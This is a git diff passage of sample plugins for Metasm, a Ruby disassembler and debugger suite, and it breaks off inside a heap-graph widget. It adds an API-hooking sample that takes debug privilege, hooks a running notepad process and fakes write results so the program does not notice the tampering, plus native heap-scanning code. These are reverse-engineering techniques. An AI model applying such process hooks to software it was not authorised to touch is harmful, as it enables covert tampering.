-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-# metasm dasm plugin: replace instances of [ebp-42] with [ebp+var_42] for the current function
-# (x86 only)
-def namelocalvars(addr)
-  vars = []
-  each_function_block(addr) { |a|
-    decoded[a].block.list.each { |di|
-      di.instruction.args.grep(Ia32::ModRM).each { |mrm|
-        next if mrm.s or not mrm.b or mrm.b.symbolic != :ebp
-        next if not i = mrm.imm or not i = i.reduce or not i.kind_of? Integer
-        # after our substitution get_bt_bind will return invalid data
-        # XXX probably breaks decompilation
-        di.backtrace_binding ||= cpu.get_backtrace_binding(di)
-        n = i > 0 ? "arg_#{i.to_s(16)}" : "var_#{(-i).to_s(16)}"
-        mrm.imm = Expression[n]
-        vars << n
-      }
-    }
-  }
-  vars.uniq.sort_by { |n| [n[0, 4], n[4..-1].to_i(16)] }
-end
-
-if gui
-  gui.keyboard_callback[?L] = lambda {
-    puts namelocalvars(gui.curaddr).join(', ')
-    gui.gui_update
-    true
-  }
-  gui.keyboard_callback[?L][]
-end
diff --git a/lib/metasm/samples/dasm-plugins/patch_file.rb b/lib/metasm/samples/dasm-plugins/patch_file.rb
index 92304026b9..694f4930ac 100644
--- a/lib/metasm/samples/dasm-plugins/patch_file.rb
+++ b/lib/metasm/samples/dasm-plugins/patch_file.rb
@@ -13,7 +13,7 @@ def backup_program_file
   if File.exist?(f) and not File.exist?(f + '.bak')
     File.open(f + '.bak', 'wb') { |wfd|
       File.open(f, 'rb') { |rfd|
-        while buf = rfd.read(1<<16)
+        while buf = rfd.read(1024*1024)
           wfd.write buf
         end
       }
diff --git a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb
index 67e8f0ea6d..9c2efb65f0 100644
--- a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb
+++ b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb
@@ -14,7 +14,7 @@ def scanfuncstart(addr)
     fs = find_function_start(addr)
     return fs if fs != addr
   end
-  edata, s_name = get_section_at(addr)
+  edata = get_edata_at(addr)
   if o = (1..1000).find { |off|
     @decoded[addr-off-1] or
     edata.data[edata.ptr-off-1] == ?\xcc or
@@ -27,7 +27,7 @@ def scanfuncstart(addr)
 end
 
 if gui
-  gui.keyboard_callback_ctrl[?P] = lambda {
+  gui.keyboard_callback_ctrl[?P] = lambda { |*a|
     if o = scanfuncstart(gui.curaddr)
       gui.focus_addr(o)
     end
diff --git a/lib/metasm/samples/dasm-plugins/scanxrefs.rb b/lib/metasm/samples/dasm-plugins/scanxrefs.rb
index 2ac5c3c2b5..e90803c4ce 100644
--- a/lib/metasm/samples/dasm-plugins/scanxrefs.rb
+++ b/lib/metasm/samples/dasm-plugins/scanxrefs.rb
@@ -17,7 +17,7 @@ def scanxrefs(target)
   ans
 end
 
-gui.keyboard_callback[?X] = lambda {
+gui.keyboard_callback[?X] = lambda { |*a|
   target = gui.curaddr
   ans = scanxrefs(target)
   list = [['addr']] + ans.map { |off| [Expression[off].to_s] }
diff --git a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb
new file mode 100644
index 0000000000..14f9efde46
--- /dev/null
+++ b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb
@@ -0,0 +1,28 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm dasm plugin
+# walks all disassembled instructions referencing an address
+# if this address points a C string, show that in the instruction comments
+# esp. useful after a disassemble_fast
+
+def stringsxrefs(maxsz = 32)
+  @decoded.each_value { |di|
+    next if not di.kind_of?(DecodedInstruction)
+    di.instruction.args.grep(Expression).each { |e|
+      if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/
+        di.add_comment str[0, maxsz].inspect
+        add_xref(normalize(e), Xref.new(:r, di.address, 1))
+      end
+    }
+  }
+  nil
+end
+
+if gui
+  stringsxrefs
+  gui.gui_update
+end
diff --git a/lib/metasm/samples/dasmnavig.rb b/lib/metasm/samples/dasmnavig.rb
index fdf55d069a..8c59eb0e83 100644
--- a/lib/metasm/samples/dasmnavig.rb
+++ b/lib/metasm/samples/dasmnavig.rb
@@ -115,7 +115,7 @@ class Viewer
     $stdout.write Ansi::ClearScreen
     begin
       loop do
-        refresh if not s = IO.select([$stdin], nil, nil, 0)
+        refresh if not IO.select([$stdin], nil, nil, 0)
         handle_key(Ansi.getkey)
       end
     ensure
diff --git a/lib/metasm/samples/dbg-apihook.rb b/lib/metasm/samples/dbg-apihook.rb
index da800a082a..02b8c1447a 100644
--- a/lib/metasm/samples/dbg-apihook.rb
+++ b/lib/metasm/samples/dbg-apihook.rb
@@ -17,6 +17,8 @@
 require 'metasm'
 
 class ApiHook
+  attr_accessor :dbg
+
   # rewrite this function to list the hooks you want
   # return an array of hashes
   def setup
@@ -33,19 +35,31 @@ class ApiHook
       raise 'no such process' if not process
       dbg = process.debugger
     end
-    dbg.loadallsyms
     @dbg = dbg
-    setup.each { |h| setup_hook(h) }
-    init_prerun if respond_to?(:init_prerun)	# allow subclass to do stuff before main loop
-    @dbg.run_forever
+    begin
+      setup.each { |h| setup_hook(h) }
+      init_prerun if respond_to?(:init_prerun)	# allow subclass to do stuff before main loop
+      @dbg.run_forever
+    rescue Interrupt
+      @dbg.detach #rescue nil
+    end
   end
 
   # setup one function hook
   def setup_hook(h)
+    @las ||= false
+    if not h[:lib] and not @las
+      @dbg.loadallsyms
+      @las = false
+    elsif h[:lib]
+      # avoid loadallsyms if specified (regexp against pathname, not exported lib name)
+      @dbg.loadsyms(h[:lib])
+    end
+
     pre  =  "pre_#{h[:hookname] || h[:function]}"
     post = "post_#{h[:hookname] || h[:function]}"
 
-    @nargs = h[:nargs] || method(pre).arity if respond_to?(pre)
+    nargs = h[:nargs] || method(pre).arity if respond_to?(pre)
 
     if target = h[:address]
     elsif target = h[:rva]
@@ -56,7 +70,8 @@ class ApiHook
       target = h[:function]
     end
 
-    @dbg.bpx(target) {
+    @dbg.bpx(target, false, h[:condition]) {
+      @nargs = nargs
       catch(:finish) {
         @cur_abi = h[:abi]
         @ret_longlong = h[:ret_longlong]
@@ -206,7 +221,8 @@ class MyHook < ApiHook
     #patch_retval(42)
 
     # finish messing with the args: fake the nrofbyteswritten
-    handle, pbuf, size, pwritten, overlap = arglistcopy
+    #handle, pbuf, size, pwritten, overlap = arglistcopy
+    size, pwritten = arglistcopy.values_at(2, 3)
     written = @dbg.memory_read_int(pwritten)
     if written == size
       # if written everything, patch the value so that the program dont detect our intervention
@@ -217,8 +233,7 @@ class MyHook < ApiHook
   end
 end
 
-# name says it all
-Metasm::WinOS.get_debug_privilege
+Metasm::OS.current.get_debug_privilege if Metasm::OS.current.respond_to? :get_debug_privilege
 
 # run our Hook engine on a running 'notepad' instance
 MyHook.new('notepad')
diff --git a/lib/metasm/samples/dbg-plugins/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan.rb
new file mode 100644
index 0000000000..ad40fa2522
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan.rb
@@ -0,0 +1,283 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm debugger plugin
+# adds some heap_* functions to interract with the target heap chunks
+# functions:
+#  heap_scan, scan for malloc chunks in the heaps and xrefs between them
+#  heap_scanstruct, scan for arrays/linkedlists in the chunk graph
+#  heap_chunk [addr], display a chunk
+#  heap_array [addr], display an array of chunks from their root
+#  heap_list [addr], display a linkedlist
+#  heap_strscan [str], scan the memory for a raw string, display chunks xrefs
+#  heap_snap, make a snapshot of the currently displayed structure, hilight fields change
+
+
+# use precompiled native version when available
+$heapscan_dir = File.join(File.dirname(plugin_filename).gsub('\\', '/'), 'heapscan')
+require File.join($heapscan_dir, 'heapscan')
+
+fname = case OS.current.shortname
+when 'linos'
+  'compiled_heapscan_lin'
+when 'winos'
+  case OS.current.version[0]
+  when 5; 'compiled_heapscan_win'
+  when 6; 'compiled_heapscan_win7'
+  end
+end
+fname = File.join($heapscan_dir, fname)
+if not File.exist?(fname + '.so') and File.exist?(fname + '.c')
+  puts "compiling native scanner..."
+  exe = DynLdr.host_exe.compile_c_file(DynLdr.host_cpu, fname + '.c')
+  DynLdr.compile_binary_module_hack(exe)
+  exe.encode_file(fname + '.so', :lib)
+end
+require fname if File.exist?(fname + '.so')
+
+def heapscan_time(s='')
+  @heapscan_time ||= nil
+  t = Time.now
+  log s + ' %.2fs' % (t-@heapscan_time) if @heapscan_time and s != ''
+  @heapscan_time = t
+  Gui.main_iter if gui
+end
+
+def heap; @heap ; end
+def heap=(h) ; @heap = h ; end
+
+def heapscan_scan(xr=true)
+  heaps = []
+  mmaps = []
+  libc = nil
+  pr = os_process
+  pr.mappings.each { |a, l, p, f|
+    case f.to_s
+    when /heap/
+      heaps << [a, l]
+    when /libc[^a-zA-Z]/
+      libc ||= a if p == 'r-xp'
+    when ''
+      mmaps << [a, l]
+    end
+  }
+
+  heapscan_time ''
+  @disassembler.parse_c ''
+  if pr and OS.current.name =~ /winos/i
+    if OS.current.version[0] == 5
+      @heap = WindowsHeap.new(self)
+      @heap.cp = @disassembler.c_parser
+      @heap.cp.parse_file File.join($heapscan_dir, 'winheap.h') unless @heap.cp.toplevel.struct['_HEAP']
+    else
+      @heap = Windows7Heap.new(self)
+      @heap.cp = @disassembler.c_parser
+      @heap.cp.parse_file File.join($heapscan_dir, 'winheap7.h') unless @heap.cp.toplevel.struct['_HEAP']
+    end
+    @heap.heaps = heaps
+  else
+    @heap = LinuxHeap.new(self)
+    @heap.cp = @disassembler.c_parser
+    @heap.mmaps = mmaps
+    @heap.scan_libc(libc)
+    heapscan_time "libc!main_arena #{'%x' % @heap.main_arena_ptr}"
+  end
+
+  hsz = 0
+  (heaps + mmaps).each { |a, l|
+    hsz += l
+    @heap.range.update a => l
+  }
+
+  log "#{hsz/1024/1024}M heap"
+
+  @heap.scan_chunks
+  heapscan_time "#{@heap.chunks.length} chunks"
+  return if not xr
+
+  @heap.scan_chunks_xr
+  heapscan_time "#{@heap.xrchunksto.length} src, #{@heap.xrchunksfrom.length} dst"
+end
+
+def heapscan_structs
+  heapscan_time
+  @heap.bucketize
+  heapscan_time "#{@heap.buckets.length} buckets"
+
+  @heap.find_arrays
+  heapscan_time "#{@heap.allarrays.length} arrays (#{@heap.allarrays.flatten.length} elems)"
+
+  @heap.find_linkedlists
+  heapscan_time "#{@heap.alllists.length} lists (#{@heap.alllists.flatten.length} elems)"
+end
+
+def heapscan_kernels
+  heapscan_time
+  @heap.find_kernels
+  heapscan_time "#{@heap.kernels.length} kernels"
+end
+
+def heapscan_roots
+  heapscan_time
+  @heap.find_roots
+  heapscan_time "#{@heap.roots.length} roots"
+end
+
+def heapscan_graph
+  heapscan_time
+  @heap.dump_graph
+  heapscan_time 'graph.gv'
+end
+
+def gui_show_list(addr)
+  a = resolve(addr)
+  #@heap.cp.parse("struct ptr { void *ptr; };") if not @heap.cp.toplevel.struct['ptr']
+  h = @heap.linkedlists[a]
+  off = h.keys.first
+  lst = h[off]
+
+  if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first
+    st = Metasm::C::Struct.new
+    st.name = "list_#{'%x' % lst.first}"
+    st.members = []
+    (@heap.chunks[lst.first] / 4).times { |i|
+      n = "u#{i}"
+      t = Metasm::C::BaseType.new(:int)
+      if i == off/4
+        n = "next"
+        t = Metasm::C::Pointer.new(st)
+      end
+      st.members << Metasm::C::Variable.new(n, t)
+    }
+    @heap.cp.toplevel.struct[st.name] = st
+  end
+  lst.each { |l| @heap.chunk_struct[l] = st }
+
+  $ghw.addr_struct = {}
+  lst.each { |aa|
+    $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa)
+  }
+  gui.parent_widget.mem.focus_addr(lst.first, :graphheap)
+end
+
+def gui_show_array(addr)
+  head = resolve(addr)
+  e = @heap.xrchunksto[head].to_a.find { |ee| @heap.arrays[ee] and @heap.arrays[ee][head] }
+  return if not e
+  lst = @heap.arrays[e][head]
+
+  if not st = @heap.chunk_struct[head]
+    st = Metasm::C::Struct.new
+    st.name = "array_#{'%x' % head}"
+    st.members = []
+    (@heap.chunks[head] / 4).times { |i|
+      n = "u#{i}"
+      v = @memory[head+4*i, 4].unpack('L').first
+      if @heap.chunks[v]
+        t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void))
+      else
+        t = Metasm::C::BaseType.new(:int)
+      end
+      st.members << Metasm::C::Variable.new(n, t)
+    }
+    @heap.cp.toplevel.struct[st.name] ||= st
+  end
+  @heap.chunk_struct[head] = st
+
+  $ghw.addr_struct = { head => @heap.cp.decode_c_struct(st.name, @memory, head) }
+
+  if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first
+    e = lst.first
+    st = Metasm::C::Struct.new
+    st.name = "elem_#{'%x' % head}"
+    st.members = []
+    (@heap.chunks[e] / 4).times { |i|
+      n = "u#{i}"
+      v = @memory[e+4*i, 4].unpack('L').first
+      if @heap.chunks[v]
+        t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void))
+      else
+        t = Metasm::C::BaseType.new(:int)
+      end
+      st.members << Metasm::C::Variable.new(n, t)
+    }
+    @heap.cp.toplevel.struct[st.name] ||= st
+  end
+  lst.each { |l| @heap.chunk_struct[l] = st }
+
+  lst.each { |aa|
+    $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa)
+  }
+  gui.parent_widget.mem.focus_addr(head, :graphheap)
+end
+
+
+if gui
+  require File.join($heapscan_dir, 'graphheap')
+  $ghw = Metasm::Gui::GraphHeapWidget.new(@disassembler, gui.parent_widget.mem)
+  gui.parent_widget.mem.addview :graphheap, $ghw
+  $ghw.show if $ghw.respond_to?(:show)
+
+  gui.new_command('heap_scan', 'scan the heap(s)') { |*a| heapscan_scan ; $ghw.heap = @heap }
+  gui.new_command('heap_scan_noxr', 'scan the heap(s), no xrefs') { |*a| heapscan_scan(false) ; $ghw.heap = @heap }
+  gui.new_command('heap_scan_xronly', 'scan the heap(s) for xrefs') { |*a| $ghw.heap.scan_chunks_xr }
+  gui.new_command('heap_scanstructs', 'scan the heap for arrays/lists') { |*a| heapscan_structs }
+  gui.new_command('heap_list', 'show a linked list') { |a|
+    if a.to_s != ''
+      gui_show_list(a)
+    else
+      l = [['addr', 'len']]
+      @heap.alllists.each { |al|
+        l << [Expression[al.first], al.length]
+      }
+      gui.listwindow('lists', l) { |*aa| gui_show_list(aa[0][0]) }
+    end
+  }
+  gui.new_command('heap_array', 'show an array') { |a|
+    if a.to_s != ''
+      gui_show_array(a)
+    else
+      l = [['addr', 'len']]
+      @heap.allarrays.each { |al|
+        l << [Expression[al.first], al.length]
+      }
+      gui.listwindow('arrays', l) { |*aa| gui_show_array(aa[0][0]) }
+    end
+  }
+  gui.new_command('heap_chunk', 'show a chunk') { |a|
+    a = resolve(a)
+    gui.parent_widget.mem.focus_addr(a, :graphheap)
+    $ghw.do_focus_addr(a)
+  }
+  gui.new_command('heap_strscan', 'scan a string') { |a|
+    sa = pattern_scan(a)
+    log "found #{sa.length} strings : #{sa.map { |aa| Expression[aa] }.join(' ')}"
+    sa.each { |aa|
+      next if not ck = @heap.find_chunk(aa)
+      log "ptr #{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}"
+    }
+  }
+  gui.new_command('heap_ptrscan', 'scan a pointer') { |a|
+    a = resolve(a)
+    if @heap.chunks[a]
+      pa = @heap.xrchunksfrom[a].to_a
+    else
+      pa = pattern_scan(Expression.encode_imm(a, @cpu.size/8, @cpu.endianness))
+    end
+    log "found #{pa.length} pointers : #{pa.map { |aa| Expression[aa] }.join(' ')}"
+    pa.each { |aa|
+      next if not ck = @heap.find_chunk(aa)
+      log "ptr @#{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}"
+    }
+  }
+
+  gui.new_command('heap_snap', 'snapshot the current heap struct') { |a|
+    $ghw.snap
+  }
+  gui.new_command('heap_snap_add', 'snapshot, ignore fields changed between now and last snap') { |a|
+    $ghw.snap_add
+  }
+end
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c
new file mode 100644
index 0000000000..1ce164ee66
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c
@@ -0,0 +1,155 @@
+#ifdef __ELF__
+asm .pt_gnu_stack rw;
+#endif
+typedef uintptr_t VALUE;
+static VALUE const_File;
+static VALUE const_LinuxHeap;
+VALUE rb_ary_new(void);
+VALUE rb_ary_push(VALUE, VALUE);
+extern VALUE *rb_cObject __attribute__((import));
+VALUE rb_const_get(VALUE, VALUE);
+void rb_define_method(VALUE, char*, VALUE(*)(), int);
+VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...);
+VALUE rb_gv_get(const char*);
+VALUE rb_intern(char*);
+VALUE rb_ivar_get(VALUE, unsigned int);
+VALUE rb_iv_get(VALUE, char*);
+void *rb_method_node(VALUE, unsigned int);
+VALUE rb_obj_as_string(VALUE);
+VALUE rb_str_append(VALUE, VALUE);
+VALUE rb_str_cat2(VALUE, const char*);
+VALUE rb_str_new2(const char*);
+VALUE rb_hash_aset(VALUE, VALUE, VALUE);
+VALUE rb_hash_aref(VALUE, VALUE);
+VALUE rb_uint2inum(VALUE);
+VALUE rb_num2ulong(VALUE);
+char *rb_string_value_ptr(VALUE*);
+
+
+int printf(char*, ...);
+
+static VALUE heap_entry(void *heap, VALUE idx, VALUE psz)
+{
+	if (psz == 4)
+		return (VALUE)(((__int32*)heap)[idx]);
+	return (VALUE)(((__int64*)heap)[idx]);
+}
+
+static VALUE m_LinuxHeap23scan_heap(VALUE self, VALUE vbase, VALUE vlen, VALUE ar)
+{
+	VALUE *heap;
+	VALUE chunks;
+	VALUE base = rb_num2ulong(vbase);
+	VALUE len = vlen >> 1;
+	VALUE sz, clen;
+	VALUE page;
+	VALUE psz = rb_iv_get(self, "@ptsz") >> 1;
+	VALUE ptr = 0;
+
+	chunks = rb_iv_get(self, "@chunks");
+	page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen);
+	heap = rb_string_value_ptr(&page);
+
+	sz = heap_entry(heap, 1, psz);
+	if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1)
+		return 4;
+
+	base += 8;
+
+	for (;;) {
+		clen = sz & -8;
+		ptr += clen/psz;
+		if (ptr >= len/psz || clen == 0)
+			break;
+		
+		sz = heap_entry(heap, ptr+1, psz);
+		if (sz & 1)
+			rb_hash_aset(chunks, rb_uint2inum(base), ((clen-psz)<<1)|1);
+		base += clen;
+	}
+
+	rb_funcall(self, rb_intern("del_fastbin"), 1, ar);
+
+	return 4;
+}
+
+
+
+static VALUE m_LinuxHeap23scan_heap_xr(VALUE self, VALUE vbase, VALUE vlen)
+{
+	VALUE *heap;
+	VALUE chunks, xrchunksto, xrchunksfrom;
+	VALUE psz = rb_iv_get(self, "@ptsz") >> 1;
+	VALUE base = rb_num2ulong(vbase) + 2*psz;
+	VALUE len = vlen >> 1;
+	VALUE sz, clen;
+	VALUE page;
+
+	chunks = rb_iv_get(self, "@chunks");
+	xrchunksto = rb_iv_get(self, "@xrchunksto");
+	xrchunksfrom = rb_iv_get(self, "@xrchunksfrom");
+	page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen);
+	heap = rb_string_value_ptr(&page);
+
+	sz = heap_entry(heap, 1, psz);
+	if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1)
+		return 4;
+
+	/* re-walk the heap, simpler than iterating over @chunks */
+	VALUE ptr = 0;
+	VALUE ptr0, ptrl;
+	for (;;) {
+		clen = sz & -8;
+		ptr0 = ptr+2;
+		ptrl = clen/psz-1;
+		ptr += clen/psz;
+		if (ptr >= len/psz || clen == 0)
+			break;
+		
+		sz = heap_entry(heap, ptr+1, psz);
+		if ((sz & 1) &&
+		    ((rb_hash_aref(chunks, rb_uint2inum(base))|4) != 4)) {
+			VALUE tabto = 0;
+			VALUE tabfrom;
+			while (ptrl--) {
+				VALUE p = heap_entry(heap, ptr0++, psz);
+				//if (p == base)	// ignore self-references
+				//	continue;
+				if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) {
+					if (!tabto) {
+						tabto = rb_ary_new();
+						rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto);
+					}
+					rb_ary_push(tabto, rb_uint2inum(p));
+
+					tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p));
+					if ((tabfrom|4) == 4) {
+						tabfrom = rb_ary_new();
+						rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom);
+					}
+					rb_ary_push(tabfrom, rb_uint2inum(base));
+				}
+			}
+		}
+		base += clen;
+	}
+	return 4;
+}
+
+
+
+static void do_init_once(void)
+{
+	const_LinuxHeap = rb_const_get(*rb_cObject, rb_intern("Metasm"));
+	const_LinuxHeap = rb_const_get(const_LinuxHeap, rb_intern("LinuxHeap"));
+	rb_define_method(const_LinuxHeap, "scan_heap", m_LinuxHeap23scan_heap, 3);
+	rb_define_method(const_LinuxHeap, "scan_heap_xr", m_LinuxHeap23scan_heap_xr, 2);
+}
+
+
+
+int Init_compiled_heapscan_lin __attribute__((export))(void)
+{
+	do_init_once();
+	return 0;
+}
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c
new file mode 100644
index 0000000000..f29c24ec8e
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c
@@ -0,0 +1,128 @@
+typedef uintptr_t VALUE;
+static VALUE const_WindowsHeap;
+VALUE rb_ary_new(void);
+VALUE rb_ary_push(VALUE, VALUE);
+extern VALUE *rb_cObject __attribute__((import));
+VALUE rb_const_get(VALUE, VALUE);
+void rb_define_method(VALUE, char*, VALUE(*)(), int);
+VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...);
+VALUE rb_intern(char*);
+VALUE rb_iv_get(VALUE, char*);
+VALUE rb_hash_aset(VALUE, VALUE, VALUE);
+VALUE rb_hash_aref(VALUE, VALUE);
+VALUE rb_uint2inum(VALUE);
+VALUE rb_num2ulong(VALUE);
+char *rb_string_value_ptr(VALUE*);
+VALUE rb_gc_enable(void);
+VALUE rb_gc_disable(void);
+
+#include "winheap.h"
+
+#define INT2FIX(i) (((i) << 1) | 1)
+
+static VALUE m_WindowsHeap23scan_heap_segment(VALUE self, VALUE vfirst, VALUE vlen)
+{
+	char *heapcpy;
+	struct _HEAP_ENTRY *he;
+	VALUE chunks;
+	VALUE first = rb_num2ulong(vfirst);
+	VALUE len = vlen >> 1;
+	VALUE off;
+	VALUE page;
+	VALUE sz;
+
+	chunks = rb_iv_get(self, "@chunks");
+	page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len));
+	heapcpy = rb_string_value_ptr(&page);
+
+	rb_gc_disable();
+	off = 0;
+	while (off < len) {
+		he = heapcpy + off;
+		if (he->Flags & 1) {
+			sz = (VALUE)he->Size*8;
+			if (sz > he->UnusedBytes)
+				sz -= he->UnusedBytes;
+			else
+				sz = 0;
+			rb_hash_aset(chunks, rb_uint2inum(first+off+sizeof(*he)), INT2FIX(sz));
+		}
+		off += he->Size*8;
+	}
+	rb_gc_enable();
+
+	return 4;
+}
+
+static VALUE m_WindowsHeap23scan_heap_segment_xr(VALUE self, VALUE vfirst, VALUE vlen)
+{
+	char *heapcpy;
+	struct _HEAP_ENTRY *he;
+	VALUE chunks;
+	VALUE first = rb_num2ulong(vfirst);
+	VALUE len = vlen >> 1;
+	VALUE off;
+	VALUE page;
+	VALUE xrchunksto = rb_iv_get(self, "@xrchunksto");
+	VALUE xrchunksfrom = rb_iv_get(self, "@xrchunksfrom");
+
+	chunks = rb_iv_get(self, "@chunks");
+	page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len));
+	heapcpy = rb_string_value_ptr(&page);
+
+	rb_gc_disable();
+	off = 0;
+	VALUE *ptr0, base, cklen;
+	while (off < len) {
+		he = heapcpy + off;
+		// address of the chunk
+		base = first + off + sizeof(*he);
+		if ((he->Flags & 1) && 
+		    (((cklen = rb_hash_aref(chunks, rb_uint2inum(base)))|4) != 4)) {
+			cklen /= 2*sizeof(void*);	// /2 == FIX2INT
+			// pointer to the data for the chunk in our copy of the heap from pagecache
+			ptr0 = (VALUE*)(heapcpy + off + sizeof(*he));
+			VALUE tabto = 0;
+			VALUE tabfrom;
+			while (cklen--) {
+				VALUE p = *ptr0++;
+				//if (p == base)	// ignore self-references
+				//	continue;
+				if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) {
+					if (!tabto) {
+						tabto = rb_ary_new();
+						rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto);
+					}
+					rb_ary_push(tabto, rb_uint2inum(p));
+
+					tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p));
+					if ((tabfrom|4) == 4) {
+						tabfrom = rb_ary_new();
+						rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom);
+					}
+					rb_ary_push(tabfrom, rb_uint2inum(base));
+				}
+			}
+		}
+		if (!he->Size)
+			break;
+		off += he->Size*8;
+	}
+	rb_gc_enable();
+
+	return 4;
+}
+
+static void do_init_once(void)
+{
+	const_WindowsHeap = rb_const_get(*rb_cObject, rb_intern("Metasm"));
+	const_WindowsHeap = rb_const_get(const_WindowsHeap, rb_intern("WindowsHeap"));
+	rb_define_method(const_WindowsHeap, "scan_heap_segment", m_WindowsHeap23scan_heap_segment, 2);
+	rb_define_method(const_WindowsHeap, "scan_heap_segment_xr", m_WindowsHeap23scan_heap_segment_xr, 2);
+}
+
+int Init_compiled_heapscan_win __attribute__((export))(void)
+{
+	do_init_once();
+	return 0;
+}
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb
new file mode 100644
index 0000000000..9786fe5df2
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb
@@ -0,0 +1,616 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+module ::Metasm
+module Gui
+class GraphHeapWidget < GraphViewWidget
+  attr_accessor :heap, :addr_struct, :snapped
+  # addr_struct = 0x234 => AllocCStruct
+
+  def set_color_arrow(b1, b2)
+    if b1 == @caret_box or b2 == @caret_box
+      draw_color :arrow_hl
+    else
+      draw_color :arrow_cond
+    end
+  end
+
+  def setup_contextmenu(b, m)
+    addsubmenu(m, '_follow pointer') {
+      next if not lm = b[:line_member][@caret_y]
+      addr = b[:line_struct][@caret_y][lm]
+      next if not @heap.chunks[addr]
+      if lm.kind_of?(::Integer)
+        t = b[:line_struct][@caret_y].struct.type
+      else
+        t = lm.type
+      end
+      if t.pointer? and t.pointed.untypedef.kind_of? C::Union
+        @heap.chunk_struct[addr] ||= t.pointed.untypedef
+      end
+      st = @heap.chunk_struct[addr] || create_struct(addr)
+      ed = @dasm.get_edata_at(addr)
+      @addr_struct[addr] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr)
+      gui_update
+    }
+    addsubmenu(m, '_hide box') {
+      @selected_boxes.each { |sb|
+        @addr_struct.delete sb.id if @addr_struct.length > 1
+      }
+      @curcontext.root_addrs = struct_find_roots(@addr_struct.keys.first)
+      gui_update
+    }
+    super(b, m)
+  end
+
+  def keypress(k)
+    case k
+    when ?u
+      # update display (refresh struct member values)
+      @parent_widget.parent_widget.console.commands['refresh'][]
+      gui_update
+    when ?t
+      # change struct field type
+      if @selected_boxes.length > 1
+        # mass-retype chunks
+        st = @addr_struct[@selected_boxes[0].id].struct
+        inputbox("replacement struct for selected chunks", :text => st.name) { |n|
+          next if not nst = @heap.cp.toplevel.struct[n]
+          @selected_boxes.each { |sb|
+            as = @addr_struct[sb.id]
+            @heap.chunk_struct[sb.id] = nst
+            @addr_struct[sb.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff)
+          }
+          gui_update
+        }
+      elsif b = @caret_box
+        if @caret_y == 0
+          as = @addr_struct[b.id]
+          st = as.struct
+          inputbox("replacement struct for #{st.name}", :text => st.name) { |n|
+            next if not nst = @heap.cp.toplevel.struct[n]
+            @heap.chunk_struct[b.id] = nst
+            @addr_struct[b.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff)
+            gui_update
+          }
+        elsif m = b[:line_member][@caret_y]
+          if m.kind_of?(Integer)
+            # XXX Array, need to find the outer struct
+            mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1]
+            ar = b[:line_struct][@caret_y]
